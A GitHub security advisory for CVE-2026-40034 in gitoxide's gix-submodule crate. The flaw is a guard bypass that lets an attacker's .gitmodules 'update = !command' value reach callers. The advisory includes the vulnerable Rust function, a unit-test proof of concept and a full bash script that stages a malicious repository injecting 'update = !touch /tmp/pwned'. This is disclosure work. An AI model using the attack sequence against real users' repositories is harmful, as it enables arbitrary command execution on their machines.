Skip to content

gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules

High severity GitHub Reviewed Published Apr 25, 2026 in GitoxideLabs/gitoxide • Updated Jun 30, 2026

Package

cargo gix (Rust)

Affected versions

>= 0.31.0, < 0.83.0

Patched versions

0.83.0

Description

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in GitoxideLabs/gitoxide@6a2e6a4.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

  1. Attacker's repo ships a benign .gitmodules (no update key).
  2. Victim clones and runs git submodule init -> .git/config contains:
    [submodule "sub"]
        active = true
        url = /tmp/sub-origin
  3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
  4. Victim runs git pull -> .gitmodules now contains:
    [submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
    while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

  • The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
  • However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}
$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}
$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

  1. Calls Submodule::update() to determine the update strategy, and
  2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

  • The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
  • The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
  • Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

  • CI/forge integrations that auto-init submodules and then query the update mode
  • Editor/IDE extensions using gix for submodule info
  • Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

References

@Byron Byron published to GitoxideLabs/gitoxide Apr 25, 2026
Published to the GitHub Advisory Database May 5, 2026
Reviewed May 5, 2026
Last updated Jun 30, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(28th percentile)

Weaknesses

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

Permissive List of Allowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. Learn more on MITRE.

Acceptance of Extraneous Untrusted Data With Trusted Data

The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted. Learn more on MITRE.

Trust Boundary Violation

The product mixes trusted and untrusted data in the same data structure or structured message. Learn more on MITRE.

CVE ID

CVE-2026-40034

GHSA ID

GHSA-f26g-jm89-4g65

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.